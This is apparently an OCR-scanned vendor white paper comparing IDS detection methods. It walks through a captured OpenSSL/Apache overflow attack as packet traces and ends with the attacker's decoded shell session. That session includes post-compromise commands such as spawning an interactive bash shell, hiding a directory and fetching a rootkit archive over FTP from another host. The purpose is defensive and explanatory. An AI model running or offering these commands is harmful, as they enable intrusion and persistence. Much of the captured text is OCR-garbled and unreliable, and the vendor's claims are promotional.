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EXECUTIVE-LEVEL SUMMARY

While the world of IDS technologies and methodologies for detecting attacks seems to change at the
speed of light, this is not quite the case. Granted, features and functionalities are integrated into
products rapidly; however, the methodologies used in detecting attacks do not adhere to such a tight
schedule. Most every methodology being touted so liberally within vendors’ marketing glossies have
been present—and used—for many years now and will continued to be used for years to come.

” «« ”

Terms such as “multi-method detection,” “stateful signature analysis,” “protocol anomaly,” “backdoor

”

traffic anomaly,” “protocol parsing,” and “heuristic detection” appear in bold letters proclaiming they
are the latest breakthroughs in hacker detection capabilities. (These samples were randomly
selected from different vendors’ Web sites.) Unfortunately, their use in marketing material can be

highly misleading, and in a few cases is flat-out untruthful.

All detection mechanisms used to expose illicit activity on a network can be broken down into three

”

categories, which do not overlap. They are “pattern matching,” “protocol decoding,” and “anomaly
detection.” Contrary to several marketing campaigns, all IDSs on the market use some combination
of all three of these methodologies to detect attacks. Each of the three methods has significant advan-
tages and disadvantages. For example, it is possible for anomaly detection to work at high speed
(Gigabit or greater), yet the number of specific attacks an anomaly detection engine can expose is
thousands less than a pattern-matching engine. Claims that one method has the ability to detect

unknown attacks better than any other method are grossly overstated and inaccurate.

The information in the following pages presents a technical examination of the advantages, disadvan-
tages, and issues with each of the methods available for uncovering devious network activity. The
subject is presented with real-world examples and traffic examinations. The outcome for many read-
ers will be an understanding of how blatantly some vendors use misleading statements to push a prod-
uct, which may not be the best fit for the end user’s application.

Additionally, the conclusion of this discussion illustrates the true differences between Intrusion
Detection Systems and Intrusions Prevention Systems and shows why it is not possible for an IPS to
replace an IDS, as well as the threats that are introduced by attempting to do so.

A SNAPSHOT OF THE CURRENT LANDSCAPE

This list of “capabilities” was compiled after a series of brief visits to the Web sites of IDS vendors.

* stateful pattern recognition

* protocol anomaly detection

* backdoor traffic anomaly detection

* |P spoofing, Layer 2 and Denial of Service detection

* protocol parsing
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* heuristic detection

* anomaly detection using signatures

* anomaly techniques

* hybrid algorithms employing statistical and heuristic methods
* full protocol analysis

* state tracking

* multi-trigger, multi-field pattern matching

* active/active, active/passive, and asymmetrically-routed traffic environments
* hybrid detection compatibility

* traffic rate monitoring

* protocol state tracking

* |P packet reassembly

Terms like these are frequently cited as reasons why an IDS from one vendor is more capable of
detecting attacks than that of another. So, is it true? The answer: Partially.

That question is best summarized by an analogy. Of a Mack Truck, Ferrari, Hummer, and Rolls-Royce,
which is the best? Some might say the Mack truck is best because it can haul anything—including all
the other vehicles. Others might say the Ferrari is best because it’s the fastest. Some might want the
Hummer because it offers a great deal of room. Still others might take the Rolls-Royce simply because

of its price.

Then there are those who will tell you that each has a combustion engine, which requires gasoline.
They all have windows, tires, transmissions, seats, lights, and radios—in essence they’re all the same.

Then, an automaker offers a new SUV. Ironically, some advertisements for this new vehicle make
it look like a Mack truck, while others make it look like a Rolls-Royce, and some make it look like

a Hummer.

If you were forced to make a decision about which vehicle you want, would you get confused? Of
course not. While it’s true all the vehicles share some commonalities, it is also true that each vehicle
is better in completely different areas. What you need defines which you choose.

The IDS arena is no different.

A technical example can be made by randomly picking two terms from the list above; for example,
“protocol anomaly detection” and “traffic rate monitoring.” (Traffic rate monitoring is a form of
anomaly detection.) It is accurate to state that protocol anomaly detection is more likely to catch an
attack that exploits the end system’s parsing of a specific protocol (if the IDS fully decodes the pro-
tocol in the first place). The traffic rate monitoring method might miss that attack, but could possibly
see a successful exploit open a backdoor on a new port. However, it is also possible (and not uncom-
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mon) that the protocol anomaly detection IDS might not recognize the attack because the exploit may
still conform to legal protocol semantics, and the backdoor could just be a root-shell within the same
traffic session—thereby causing the traffic rate monitoring IDS to miss the attack as well.

So, which is better? As can be seen from this example, both have strengths and weaknesses. This
example also illustrates an interesting point: Why is “traffic rate monitoring” considered anomaly
detection? If you are watching traffic flows on the network for abnormal behavior, you are doing
anomaly detection. This leads to another question, “Just how many other things are considered

‘anomaly detection’?” That’s just one of the many points of this paper.

Three Categories of Detection
As stated in the executive summary, every “buzzword” listed can be placed into one of three
categories.

Pattern Matching

Pattern matching is the technique of simply looking for patterns. Generally, this takes place at a much
more granular level than protocol analysis or anomaly detection, usually within every individual pack-
et. One example of pattern matching is looking for a string of bytes, which always appears in a
specific Trojan such as “Hacked by pl4gu3z” coming from UDP port 6666. The same methodology
can be used to look for Denial of Service attacks that rely on sending corrupted packet headers, since

we are looking for a specific pattern somewhere within a packet.

Protocol Analysis

Protocol analysis is a bit less specific than pattern matching and looks at the packaging of traffic, rather
than at the payload itself. This is different than straight pattern matching since more advanced calcu-
lations are done on each packet. Headers are verified to ensure the packet contains what it says it
does, everything adds up as it should, and certain types of encoding aren’t used. An example of this is
identifying an attack in the OID field of an SNMP packet. The analysis device knows the OID should
be a certain number of bytes, but if the next expected field does not appear after that string of bytes,
it recognizes something is wrong. Usually this is indicative of an overflow or DoS attack, so an alarm
is triggered.

Anomaly Detection

Anomaly detection is even more indistinct. These ambiguities will be examined more closely below,
but this category can really be divided into two sub-categories: behavior-based anomaly detection and
protocol-based anomaly detection. Anomaly detection examines traffic at an even higher level than
either pattern matching and protocol analysis. Instead of looking at packets for patterns or encoding,
this methodology typically focuses on the bigger picture. One of the reasons why this term is so
abused is because this methodology can be implemented in a number of different ways. One
example is watching the state of connections between hosts. If packets that don’t match the estab-

lished state of the connection start appearing or are severely out of sequence, an alarm is triggered.
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Another example of anomaly detection is at an even higher level. For example, simply monitoring
traffic flows between hosts establishes a baseline that can be considered “normal” activity. In this case,
an alarm might be triggered if a Web server suddenly starts accepting connections on port 31337
instead of its normal port of 80. Even something as simple as a web server, which normally only
accepts connections, initiating its own sessions out to some host on the Internet can be cause for
alarm. This type of detection is normally referred to as flow- or behavior-based anomaly detection,
although creative marketing departments have found many of other names for it. Additionally, port
scans can also fall into this category. Generally, detecting a port scan requires some type of
anomaly/trending algorithm on top of a modified state-tracking engine. A different method—proto-
col anomaly detection—usually falls into the category of RFC compliance checking. If the packet
breaks the RFC for a certain protocol in any way, then an alarm is triggered.

Before discussing each of these methodologies in greater detail, we will look at how IDSs use these
methodologies, a main point of misconception in the industry. As stated earlier, every IDS on the
market uses a combination of all three methods. Generally, the core engine of the IDS will rely
solely on one specific method, and fractions of the other two methods are implemented in pre- or
post-processors to supplement detection capabilities. Since each individual method has gaping holes
in coverage (as we’ll examine next), vendors compensate by using pieces of the other methods.

The reason products don’'t do 100% of all three methodologies is because it is computationally
impossible to deliver everything and still offer a solution that most enterprises can afford. Each of the
three methods requires a significant amount of overhead and calculations, so there are usually few
resources left to attempt to fully implement a second, much less a third form of detection methodology.

Let’s look at Enterasys Dragon as an example. The core of Dragon’s engine relies on advanced
algorithms for pattern matching. However, the system must decode a number of protocols before
they are sent to the pattern-matching engine, and look for anomalies within various protocols to
detect if certain encoding mechanisms were used. (Typically, these are used by hackers to obfuscate
attacks.) Dragon also looks for overflows in various protocol fields, another form of anomaly
detection. This is not an implementation of full anomaly detection, but is enough to successfully
augment the core functionality of Dragon.

A Closer Look

Pattern Matching

One of the greatest strengths of pattern matching over protocol analysis and anomaly detection is its
ability to identify specific exploits or vulnerabilities. Because pattern matching looks for very specific
events, alarms triggered will typically provide detailed information on why an event was triggered,
what it means, and how to handle it. This is one of the features that makes pattern-matching IDSs the
most powerful for forensics and analysis. Let’s review how pattern matching can be used to find a
compromised machine.
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When an attacker compromises a system, they typically need to discover which user they are running
as. If they are not root, they will need to perform some kind of privilege escalation attack, then
recheck to see if they’re root. Many attacks, such as buffer overflows, will result in a shell prompt
being bound to an arbitrary port on the newly compromised system. For the attacker to find out

whom they are running the shell as, they can issue the “id” command as illustrated below.
#id

ui d=0(root) gid=0(root)
groups=0(root), 1(bin), 2(daenon), 3(sys), 4(adm, 6(di sk), 10( wheel )

The results of this command showed that the user is indeed root. Seeing something like this in a
packet is obviously a bad thing. By identifying the pattern “uid=0(root) gid=0(root)...” in a packet,
you can infer the following details:

* The host sending the string has been compromised.
* The attacker has root on the box.

* The attacker has the ability to interactively issue commands to the system with root privileges, there-

by allowing easily for rootkit uploads and/or configuration changes.

An alert issued by pattern matching will specify why the alert was triggered, and provide an explana-
tion of all the details listed above. The description could likely include information on how to deal with
this incident as well. In the next section, the same event will be examined from the standpoint of

anomaly detection.

Anomaly Detection—Flow/Behavior Based

With flow- or behavior-based anomaly detection, it is likely that the IDS would never have seen the
attack that caused the shell to be spawned in the first place. However, once the shell is established,
the anomaly detecting IDS will notice that the server is now communicating on a new port, which it
never communicated on before.

An advantage this has over pattern matching is that if the shell happens to be through an encrypted
tunnel or the output from an “id” command is never seen, the anomaly-detecting IDS will trigger an
alert to something the pattern-matching IDS missed. In this case, if the pattern-matching IDS also
happened to miss the attack itself, then the chance to detect the compromise would have just been
lost as well.

This methodology also makes a few assumptions. One is that the interactive session will be
established on a new port. This is not always the case. Even in the case of recent SSL/SSH exploits,
the interactive sessions were established as part of the original session. In attacks that rely on mis-
configured services such as Web servers, this is also the behavior exhibited after exploitation of the
service. Additionally, exploits that elevate privileges within an existing service will behave the same
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way. The IDS that probably missed this attack because of the inherent limitation of this detection
technique also missed its chance at telling you a system was compromised.

Anomaly Detection—Protocol/Stateful-Protocol Based

Protocol anomaly detection techniques do not just decode protocols before searching for illegitimate
activity; they also analyze any abnormal fields present. These methods are better suited for detecting
actual attacks rather than compromises or other suspicious activities. Let’s imagine that the attack
that compromised the system was the SSL attack mentioned above.

The attack referenced here worked by overflowing a buffer negotiating the setup of the SSL session.
Specifically, it was the field known as the Key Argument. There are several parts of this attack that
would tip-off a [stateful] protocol anomaly-detection IDS that something was afoot. One is the fact
that the length of the Key Argument field is abnormally long.

However, this all depends on what terminology like “fully stateful protocol decoding” means to the
vendor. Unfortunately for the end user, the explanation of the methodology and the functionality
described in vendor marketing does not always carry through in implementation. In fact, many users
experienced this firsthand when their IDSs (with tags like “fully stateful protocol decoding”) failed to
recognize the OpenSSL vulnerability and exploits—many IDS missed the attack. In fact, Dragon was
one of the few IDSs that did detect this attack because of specialized buffer overflow detection and
compromise signatures.

There is another issue hidden here. Many IDSs implement “statefulness” in the sensors. This is most
commonly seen while monitoring TCP sessions. This functionality is useful for combating anti-IDS
tools like “stick” and “snot.” These tools work by replaying thousands of fake attacks while the attack-
er makes a real attack somewhere in the middle. The thousands of fake attacks will overwhelm the
IDS console, so the IDS administrator will probably miss the real one.

IDSs can defeat tools like these by watching the state of TCP sessions. Since these fake attacks are
not part of any valid sessions, the IDS will ignore them. The only event that should be triggered is the
real one. Unfortunately, for every step taken to decrease false positives at the sensor, the chance of
false negatives—or missing a real attack—is increased.

For example, many backdoors modify the method in which the compromised host responds to the
attacker’s connection. They use TCP as the transport protocol, but do not use normal TCP
handshaking procedures. If for any reason the IDS missed the attack that compromised the victim
host, then detecting the backdoor is the last chance to be alert to the attacker’s presence. In the case
of IDSs who implement state by default, they are purposefully ignoring just this type of traffic.

Protocol Decoding

Protocol decoding is a cross between anomaly detection and pattern matching that does not overlap
what each does specifically. With the OpenSSL attack, a protocol decoding IDS could notice patterns
within specific fields that look like shellcode from a buffer overflow.
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This makes the value of protocol decoding relatively high. You get the benefit of a pattern matching
IDS, in that you can look for specific patterns (such as shellcode), with the benefit of limiting the
search to within a certain field of a specific protocol, much like a protocol-anomaly-based IDS does.

However, just as protocol decoding shares the benefits of each method, it also has the drawbacks of
each. Looking for thousands of patterns is so computationally intensive that the numbers of patterns
searched for in the network traffic have to be scaled back to maintain a decent level of performance.
A reasonable number of patterns still need to be searched for after decoding so as to not completely
compromise the level of granularity offered by the IDS. Unfortunately, protocol decoding cannot
perform to the depth and level of detection because it must place more emphasis on pattern
matching or the wide-ranging insight that strict protocol anomaly detection offers.

Summary of IDS Methodologies

Each of the methodology groupings has distinct pros and cons, some of which are summarized below.

Pattern Matching
PRO
* Can identify the exact exploit an attacker is running in cases where other IDSs cannot. This provides
for powerful forensics and analysis capabilities, and makes it easier to provide more information to
end users who may have a low level of technical security analysis expertise.

* Are generally able to look for many thousands of potential attack profiles. Moreover, it is generally much
simpler for users to add custom detection signatures. Since the other methods require algorithms
complied into the binary, most products do not offer this same level of tuning and customability.

CON

* Looking for several thousands of attacks and other suspicious activity is slower than the other
methods. Also, since this method is generally looking for more specific events than others, it is
inherently more prone to potential false positives.

* Many times, the attacks or compromises that other methods excel at finding can be identified
with pattern matching; however, it requires a higher level of commitment by the vendor to
ensure this level of detection is being maintained.

Protocol Decoding
PRO
* Has the potential to detect new attacks just by looking for certain encodings that other methods could
miss (because they don’t know the profile).

* Can usually identify severely obfuscated or otherwise mutilated attacks that other methods could miss.
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CON
* If RFC compliance checking is implemented, this method can be subject to many false positives. Many
commercial applications and operating systems do not strictly adhere to RFCs in the first place. Also,
many times applications run a specific protocol (like HTTP) on non-standard ports, which can defeat
this methodology.

* Alerts generated are more generalized than a pattern matching IDS. Since they are not as specific,
information valuable to a security manager must be manually found and researched by a forensics
specialist.

Anomaly Detection—Flow and Protocol
PRO
* Can detect signs of compromise the other two methods cannot detect, such as a sudden and
suspicious shift in the type of behavior a host/server exhibits on the network.

* Since they only analyze host behavior or perform RFC compliance checking, they do not have the
associated overhead of looking for thousands of attacks, thereby making this method the fastest of all
the technologies available.

CON
* They are generally capable of only detecting a few hundred different types of attacks and probes.
In other words, they have a highly limited scope of detection. In most real world cases, they miss
basic “successful” attacks that other IDSs easily detect.

* Many times, the alerts are post-aggression by the attacker, so the data collected is of little
forensic value since the integrity of the end host has already been violated. They may be able to
tell you that you’ve been compromised, but not how, by whom, when, and with what—thereby
making most reparations much more difficult. Also, the alerts are usually so general that
it’s difficult even for knowledgeable security administrators to determine exactly what just
took place.

Although every IDS vendor on the market uses a combination of all three of the techniques described
above, the core engine for each IDS can only be one of those methods because of computing
limitations. The other techniques are usually implemented in pre- or post-processors, as an augmen-
tation to the core functionality.

The issue of core methodology employed by the IDS is important for two main reasons. The
detection methodology utilized directly impacts the number of different types of events the IDS will
be able to detect. Being able to detect a greater number of different types of events allows the IDS
to produce more meaningful output that can be valuable to junior IDS analysts and forensic
investigators alike. Conversely, on equal hardware, the more an IDS is looking for, the slower it will
perform next to other IDS methodologies. Some vendors have been able to combat these issues by
offering hardware solutions that are capable of handling the load, although they may cost in excess
of $100,000.
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A HARD LESSON IN REALITY

In this section we are going to do something never seen in marketing glossies. We are going to
closely examine a full attack—from probe, to exploit, to compromise, to post-compromise activity.
This is going to be a technical section in which analysis is done though examining packets and
network sessions.

The full attack will have an organization such as this:

Probe Exploitation Compromise

Figure I: Format of full attack scenario

The Probe

This attack started with a sweep of the network for servers listening on TCP port 443. The attacker
tried to initiate a connection with every server in the subnet on port 443, which happens to be the
port Web servers listen to for encrypted Web sessions. Many banks, investment Web sites, and oth-
ers concerned about data confidentiality use SSL encrypted traffic for conducting business.

The figure below highlights several interesting parts of the probe. This portion of traffic was captured
and is displayed in the network protocol analyzer Ethereal, available from http://www.ethereal.com.
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Source Dstnabon Protecel | o

152, ML TCR 3ZE8% > https [SYN] Seqeidlld P49 Ack=( Win=!

148 0 C
192,168, 0, 54 TCR hTps = F23689 [Svn, ACK ]| Seq=1339375876 Ack="
192.1488.0.45 TCP 3ZE8% » https [ACK] SeqeiOll474%0 Ack=1853932%
192, 168, 0,45 SELWE Client Wallc
152 . 168, 0. 55 TCR https 32889 [ack] Seqe=183932%B77 &ck=500143
192,168, 0, 50 SELVF sEpwEsr Hallg
148.0.45 TCR 3ZE8D https Ceqei0l147s Bckw] 839320
1 L = | 4 &T T

18, S&gsa

168, G.45 TP BIERG > hrops [FIN, AcCkE] - =1
152,168, 0. 5% TCR https 128689 [AcK] SogelilBizamiE Ack=5001143
192,168, 0.62 TCP 32006 > hrrps [Swn] Seqed065391l4l acke( wins!
192.168. 0. 5% TCF https 32008 [SvM, ACK] Seqe2l2 S375000 Scked
192,108, 0. 62 TCRP 32806 > hrrps [ACK] Seqed9639]14l ackezl25377
192.168. 062 SaL WD clant Halle
192 . 168, 4. 5% TCP hreps > ¥ra0d [ack] Seqe2i2SIPiodl ack=49639]
193 .168. 0. 55 SaLvg garver HEllp
192,148, 0. 62 TCP 32806 > hrrps [ACK] Seqed963901td acke212537¢

Filler | |I|'.|: | ] ='|3-:_.|_:1| Applnrlf oy Argument (& g.. Inflialezabon Vector) (ssl handshake key_ang), B4 bytes

Figure 2: Portion of the probe displayed in the protocol analyzer, Ethereal

In this display, we see the attacker connecting to three different machines in the target network. The
first two packets highlighted in black show the first machine (192.168.0.23) to which the attacker
attempted to connect. The target system immediately replied to the connection request with a RST
packet, which signifies that the system is not running the service to which the probe is attempting to

connect.

The second system the attacker connects to (192.168.0.45) does accept the connection. The
highlighted part here shows something odd, though. As a normal part of the SSL encrypted session
setup, the client sends their key but the server immediately tears the session down upon receiving
this key (as seen with the [FIN, ACK] flags set). This is not normal behavior.

The third system accepts the connection much like the second system does. However, there is a
difference in that the third system (192.168.0.62) does not tear down the session upon receiving the
client’s key.

A final point to notice is the data contained within the client’s key. In every exchange there was a long
string of AAAAAAASs in the Key Argument field of the packet. This is highlighted in the bottom frame
of the screen capture above.
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Detecting this Probe—A Methodology Point of View

Pattern Matching

Since this probe software was relatively well written (compared to many automated probe applica-
tions), there is only one part that is easily detected by pure pattern matching. Many times, exploit
coders will hardcode various protocol values and IDs into the code, but this one is fairly good at avoid-
ing those give-a-ways.

The main identifier of this probe is the long string of AAAAAAs in the packet. This is highly abnormal
within a packet seen in SSL traffic—both during the handshaking and the encrypted session. There are
several limitations to this, as described later.

Protocol Decoding

A protocol-decoding engine could see problems with two parts to this probe. One is a mismatch
between the length of the message specified in the SSL header and the actual length of the SSL data.
There is more data contained within the header than specified in the “Length” section. In this probe,
it is used to test if the target server is vulnerable to further attack. Another point in the probe that
could have triggered an alert is the presence of incorrect data types within the Key Arguments field.

Anomaly Detection

Anomaly detection techniques excel at three parts here. One is flow/behavior based that recognizes
one host (the attacker) trying to connect to many different hosts on the target network during the
scan. IDSs with basic flow-based anomaly detection algorithms will trigger a port-sweep at a
minimum. The other two fall under the category of protocol-anomaly-based detection: the SSL
session being abnormally torn down (the second session examined) and the abnormally long Key
Argument section. If full SSL RFC compliance checking was performed, this should have triggered, but
as seen when this vulnerability was announced, it was not performed in most cases.

Attack

The attack in this case highlights a few other interesting points in addition to the differences in
intrusion detection methodologies. The attack starts with the initiation of 30 different sessions to the
same target. Figure 3 shows the launch of this attack.
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193.1639.0, &2 1%2.188.0. 59 TCP nitps » 3I2MGE [5¥H, &CE] SeqQ=20FITIo000 ACk=45T10LTI3 alid
192,168,490, 59 162,168, 0.62 TCP 3276E > hrtps [oack] Seqed671l00735 Ack=2075721667 wins=5E40
153.1889.40. 5% 152.188. 0. &2 TCR 32785 » hitps [S¥H] Seq=48520L3% Sck=0 win=%E40 Len=0 HS:
193,168,062 192,168, 0,59 TCP TS > 3ITES [SvH, ACK] SeqelOTERC00ZO Ack=d 60281352 wim
193.189.4. 39 L82. 158, 0. &2 TCP 32745 » hitps [ACK] Seq-4452013%2 Ack-207B800030 win=%B40
1492.168.0, 59 192,168, 0. 63 TCP FITT0 » hrops [SvH] Seqed4 50003473 AckeD wineS5840 Len=0 W51
192,168, 0. 82 152.188. 0. 39 TCP hitps » 327F0 [SvH, &CH] SeqelO082%84004 Ack-499053474 Wirs
163.168.0, 59 1932, 168, O, 63 TCPR FATTO > hrops [ACK)] Seqed 50003474 Ack=7087 HHE0AT win=5E10
1941068, 8., 39 15928, 168, . B TCP 2771 » https [SYH] SeqedETEEIE0Y Acked wWineSE40 Lens=0 WS
192_163.0,62 102,168, 0, 59 TCP NITEs > 3IT7L [S¥W, ACK] Zeqel083330104 Ack=4676H3604 Wime
198,104, 4, 32 152, 16H, . B TCP 2771 > Rteps [ack] Seqe46MEE3008 Ack=208332919% win=5840
182_1563.0, 5% L%3Z . 168, O, 63 TCP 32772 » htops [9vw] Seq=d E11ETIGE Ack=0 win=5640 Lern=0 HIi
182, 168,0, 62 12,168, 0.59 TCP NLEpS > 32772 [5vH, EE] Seqs2000l6682Y AcksdE116T167 Wi
193 _1E9. 0. 5% 1%2.158. 0. B2 TCP 32772 » https [&ck] Seq=dE11ET1AT ACk=2000166E74 win=5640
193 168,40, 59 162,168, 0.62 TCP E3TTE > heps [5vN] Seqed P010373E ack=0 win=5840 Lens=0 Ws:
182.1683.0. 62 182,168, 0. 59 TCR nitps » 37773 [5vm, &x] Seq=20861211%5 Ack=459193730 wlrm
192.168,0, 59 152,168, 0.62 TCP E2TTE » hreps [oack] Seqed 50103730 acke2086121196 wins5E40
193.189.0. 3% 152. 158, 0. B2 TCR 32774 3 https [S¥H] Seq=4500023%4 Ack=0 wWin=%E40 Len=0 HS!
193.168.9. 62 192,168, 0.5%9 TCP TS = 31TV [5vH, ACE] SeqelOTR4B656] Ack=d 60302355 wire
193.189.4. 39 152, 158, 0. &2 TCP 32774 » hitps [ACK] Seq-44090235%% Ack=20734B8%42 wWin=%B40
192,168,909, 59 192,168, 0.62 TCP 3ITTS » hugps [S5vN] SeqedT1L57492 Ack=0 win=5e40 Lens=0 W5
192,169, 0. 82 192, 188. 0. 59 TCP https > 3277 [SvW, &CK] Seqe=lOTSTE4804 Ack=4T11%7493 Win.

Figure 3: The exploit starts with the establishment of 30 different sessions to the same target.

The behavior exhibited here actually serves as a precursor, to the precursor, to this attack. The early
stages of the attack take advantage of the way Apache manages its memory to automatically
determine how the layout of the exploit should look when it is actually sent later on. In order to do
this, it has to establish a couple of sessions and watch for the return data. Unfortunately, it’s not guar-
anteed unless the attacker has the ability to exhaust all resources assigned to other tasks. This is
accomplished by setting up many connections to the server. Once an excessive number of
connections have been established, the exploit can probe for the proper addresses it needs, then
finally craft the real exploit.

This emphasizes another trend in the world of exploit development: the way advanced exploitation
methods are becoming easier to use by those without a real understanding of how or why the exploit

is working.

Once the actual exploit is delivered, it will look something like the exchange in Figure 4. It looks very
much like the probe, except there is significantly more data exchanged between the two hosts this
time around.
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]Enu:t IDuhn:hnn ]Prun:ql Infi
192, 168.0. 59 192.16E. 0. 62 TR 32B35 » hrttps [SvYM] Segeldl5539700 Acke
192,168, 0. 62 192.16E, 0. 59 TR https > 32835 [SvM, ACK] Seqw3025454311
192 ,.168.0. 59 192.1sE. 0. 62 TR 32B35 » https [&CK] Segeldl5539701 Acke
192,168, 0, 59 192,168, 0. 62 S5LwZ Client Hello
192,168, 0. 62 192.16E, 0. 59 TCE httpi » 3283% [ACK] Seqel0ZB454312 Acke
192,168, 0. 62 192,168, 0. 59 SSLvE server Hello
192,168, 0, 539 192,188, 0. 62 TCR 32B35 » hrtps [ACK] Seqgeldl$S367%2 acke
192,168, 0. 5% 192,148, 0. 62 S5Lv2 Client Master key
192, 168, 0, 62 192,158, 0, 349 SSlvd Encrypzed ata
192,168, 0. 5% 192,148, 0. 62 SSLV2 Encrypted Data
192,168, 0. 62 192,148, 0. 59 SSLva Encrypted Data
192.168.0. 50 192.1468.0.62 S5L [unreassembled Packet]
192 .168. 0. 62 192.148. 0. 5% TCP https > 32835 [ACKk] Seq=30ZB455458 Acks
192,168, 0. 62 192.168. 0. 59 4 [Unreassembled Packet]
1% . A6, 4., 5% L9, H. [ = [ rypted Data, (unresdssembled Packer |
182,168, 0, 62 182.1&8, O, 5% TCE hteps > 32835 [ACK)] Seq=30284 55481 Ack=
[ | I |

QU0 QU J0 T8 40 00 & U0 04 77 1a ©C 02 o8 U0 47 00 .PVS,Q.. U.1...E.
ol0 OO0 &c &3 T 40 O0 40 & 55 44 <0 aB 00 3b <0 aB L@@, ub...:..
020 00 38 B0 43 01 bb 54 5f &d 3 b4 82 90 25 B0 1B O N =y N, SR,
0030 1d <ce 1% ea Q0 OO0 01 01 08 Ga 00 02 0% df oL 14
040 S5d | | L & | SIEELE ] =m0 557

a5 Al i " el 5] I T |
E%g 68 68 r : 1 s B0

Figure 4: The delivery of the actual exploit

Detecting this Attack—A Methodology Point of View

Pattern Matching

Although the attack seems to look a lot like the probe at first glance, there is much more data in this
session we can focus on. The first part is the point in which the client sends their master key. Looking
at Figure 5, you can see the long string of AAAAAs again. But developing detection mechanisms
around strings like that are a poor choice. It is likely that strings such as AAAAAAA or CCCCCCC
(which are commonly encountered in exploits) are simply space fillers. Since they satisfy no purpose
other than filling space, they can trivially be changed to anything, thereby breaking the detection
functionality developed.
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Source Destination Protocol Imfin
195 1bE. U Be IS e, U5 TCF NUTRE &> 3835 [ALE] SS80=3UJS24 38 3
192.168. 0. 62 192,168, 0. 5% server Hello

e
L
(8]
=
[

192.158. 0. 59 1%2.1468. 0.462 TCP 32835 > htrps [AcCK] seq=14155397
152.168.0.5% =) i
1 i TRE N AT 107 T&E N &0 AT ErmerrmianTor FHaTta
- ]
Handshake Message Type: Clieant Master Key (2)

Cipher sSpec: SSLZ_RC4_12B_WITH_MDS (0x010080)
Clear kKey Data Length: ©

Encrypted kKey Data Length: 128

Key argument Length: 281

Encrypted Key

41 4]
41 41

| | 4] | 41 41
1z0 41 41 41 41 41 41 41 41 41 41 41 41 41 41
Figure 5: The client’s master key in the exploit

There are some important differences this time, however. Following the long string of AAAAAAs are
various other bytes with short strings of AAAAAs mixed in. As it happens, much of this section will
remain static between different targets. Because of this, pattern definitions (or signatures) can be
developed around this section. Being able to focus on the attack at this level gives the IDS the ability
to trigger an alert, which will let you know details about what is taking place and the specific exploit
being used. The IDS is then able to reveal other details about the exploit such as the potential suc-
cess rate and what it will try to do after the attack is completed. This allows you to determine to what
extent an incident response effort is needed, with the most information possible. It also helps give you
a head start into a forensic examination.

This is not all, however. If you look again Figure 4, at the bottom of the frame you’ll see the actual
shellcode (low-level instructions) that gives the attacker access to the shell and interactive access to
the successfully attacked host. Interestingly enough, there are sections for which pattern definitions
can be developed that will also catch completely unrelated attacks on entirely different services—all
with an extremely low risk for false positives. Incidentally, this kind of attention to detail by the
Dragon Analysis and Response Team enabled Dragon to catch this attack before it was publicly
released.

Protocol Decoding

The same methods used to detect the probe could also have been used to detect the attack. The Key
Argument contains incorrect types of data, and there is a mismatch between the length specified in
the SSL header and the actual length of some packets used in the handshaking process.

Anomaly Detection
There are similarities in detecting the attack as there were in detecting the probe with anomaly
detection methods. One is seeing one host (the attacker) establishing many sessions to the same host
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(in this case 30) in an extremely short amount of time. Of all those sessions, only a few of them
actually exchanged any data before being torn down. From this perspective, the attack would look
like a Denial of Service. The abnormally long Key Argument field could also have been used again if
full RFC compliance checking was being done.

The Compromise

Once the attack was successfully completed, there was much activity to examine. The most interesting
thing about this compromise is that even though it was against an encrypted service, all the activity
after the compromise was sent between the attacker and victim in plain text, as seen in the bottom
frame of Figure 6.

Source Destination Frotocol Infin
LFE o LBk, B b o A0 W A TF I e TILLES LSIF

J SEELAL T U BLE
nreassemb led Packet |

192, 168. 0. 59

18,

168. 0. 62 TCP 32833 » NUTpS [lﬁh] Sequldl 50330 hcﬁ

192, 168. 0.62 192.168.0.59 SLw2 Encrypted Data, [uUnreassembled Packet]

157, 1AR. 0. 59 1597 .1fR. N, /7 TCE 37835 » hrrns [&@k] Sen=1415%40%30 ack
[ | |

B Frame 251 (258 bytes on wire, I58 bytes captuwred)

H Ethernet II, Src: 00:50:56:40:00:467, Dst: 0004 ;:75%:1a:6c:02

H Internet Protocol, Src Addr: 192.1468.0.42 (192.168.0.62), Dst Addr: 1%92.168.0.%
# Transmission Comtrol Protocol, Src Port;: https (443), Dst Port: 32835 (3283%),

B Secure Socket Layer

[Unreassembled Packet: S5L]

= |

O U T4 00 BE 40 00 20 U EBr 4L CO a8 0o 32 o0 as
pOZ0 00 3b 01 bb 80 43 b4 B2 90 95 54 5T Ge 6a 80 18
030 1% 20 Vo 4e 00 00 O 0L OB Ga O0 14 Se 1b OQ 02

0040 Oa &3
ncin

Figure 6: The attacker receives the results of a command from the compromised host over the newly created
interactive shell.

In Figure 6, the results of the command “id” are seen. The attacker now has an interactive shell with
the privilege level of the user “apache.” In order for the attacker to proceed further, they will need
to utilize a local privilege escalation exploit to get root access to the system. Rather than display all
the activity though packet dumps, we’ll decode the session and display it below. The attacker’s traf-
fic will appear in RED and the server’s responses will appear in BLUE.

export TERM=xterm exec bash -i
unane -a; id;, w

bash: no job control in this shell
Li nux rh73vm 2. 4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i 686 unknown
ui d=48(apache) gi d=48(apache) groups=48(apache)
8:43am up 3:42, 1 user, |oad average: 0.35, 0.28, 0.11
USER TTY FROM LOG N@ |IDLE JCPU PCPU WHAT
r oot ttyl - 5:02am 3:40m 0.12s 0.12s -bash
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readline: warning: rl_prep_terninal: cannot get term nal settingsbash-
2.05a$ find / -type d -user 48 -print

<results truncated>
/var/lib/dav
/var/lib/ nod_roam ng
/var/ cache/ htt pd

?’r. |
=h
4 i
m

)

>

)

m

P o)

readline: warning: rl_prep_termnal: cannot get terminal settingsbash-
2.05a$ cd /var/cache/httpd

readline: warning: rl_prep_termnal: cannot get term nal settingsbash-
2.05a$ |s -al

total 8
dr wxr - Xr - x 2 apache r oot 4096 Apr 9 2002 .
dr wxr - Xr - x 7 root r oot 4096 Jan 25 11:36 ..

readline: warning: rl_prep_termnal: cannot get terninal settingsbash-
2.05a$ nkdir ./.nme; cd ./.ne

readline: warning: rl_prep_ternminal: cannot get term nal settingsbash- E
2.05a$ ftp 192.168.0.23 L
[ 33t n8

Password: | 37n81n
get wOOtkit-pack.tar.gz
qui t

readline: warning: rl_prep_termnal: cannot get terninal settingsbash-
2.05a$ Is -al

total 1060

dr wxr - Xr - x 2 apache apache 4096 Feb 7 08:48

dr wxr - xr - X 3 apache r oot 4096 Feb 7 08:45 .
STWr--T-- 1 apache apache 1071008 Feb 7 08:48 woOtKkit-
pack.tar. gz

readline: warning: rl_prep_terninal: cannot get term nal settingsbash-
